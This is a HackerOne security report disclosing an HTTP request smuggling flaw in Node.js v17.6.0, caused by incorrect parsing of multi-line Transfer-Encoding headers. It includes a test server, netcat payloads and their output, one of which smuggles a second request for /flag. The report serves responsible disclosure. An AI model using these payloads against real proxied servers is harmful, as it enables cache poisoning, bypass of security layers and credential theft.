Lucene search

K
hackeroneZeyu2001H1:1501679
HistoryMar 06, 2022 - 3:45 a.m.

Node.js: HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding

2022-03-0603:45:24
zeyu2001
hackerone.com
160

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.005 Low

EPSS

Percentile

73.5%

Summary:
The llhttp parser in the http module in Node v17.6.0 does not correctly handle multi-line Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).

Description:
When Node receives the following request:

GET / HTTP/1.1
Transfer-Encoding: chunked
 , identity

1
a
0


it processes the final encoding as chunked. Relevant code here.

Since Node accepts multi-line header values (defined as obs-fold in RFC7230, the Transfer-Encoding header is actually chunked , identity. An upstream proxy that correctly implements multi-line header values will therefore process the final encoding as identity instead. This could lead to request smuggling as an identity header indicates that the body length is 0 - the upstream proxy and Node will disagree on where a request ends.

The current behaviour is in violation of RFC7230 section 3.2.4, which states:

A server that receives an obs-fold in a request message that is not
within a message/http container MUST either reject the message by
sending a 400 (Bad Request), preferably with a representation
explaining that obsolete line folding is unacceptable, or replace
each received obs-fold with one or more SP octets prior to
interpreting the field value or forwarding the message downstream.

While Node correctly replaces each received obs-fold with SP octets, in the case of the Transfer-Encoding header it does not do so prior to interpreting the field value.

Note: This could be seen as an incomplete fix to #1002188, though it is a slightly different issue. The fix for #1002188 processed subsequent Transfer-Encoding headers, only setting the chunked encoding if the last Transfer-Encoding header is chunked. This should be extended to check for subsequent lines of the same Transfer-Encoding header.

Steps To Reproduce:

Testing Server

Run the following server (node server.js):

const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
   response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();
   
   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);

Payload

printf "GET / HTTP/1.1\r\n"\
"Transfer-Encoding: chunked\r\n"\
" , identity\r\n"\
"\r\n"\
"1\r\n"\
"a\r\n"\
"0\r\n"\
"\r\n" | nc localhost 80

Output

HTTP/1.1 200 OK
Date: Sun, 06 Mar 2022 03:34:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 77

{"Headers":{"transfer-encoding":"chunked , identity"},"Length":1,"Body":"a"}

This shows the invalid parsing of the Transfer-Encoding header.

Note: In the case of #1002188, the following payload demonstrates the same scenario (except a duplicate Transfer-Encoding header is replaced with a multi-line one)

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
 , chunked-false

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x


Supporting Material/References:

Payloads and outputs:
{F1644164}
{F1644165}

Server code:
{F1644163}

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.005 Low

EPSS

Percentile

73.5%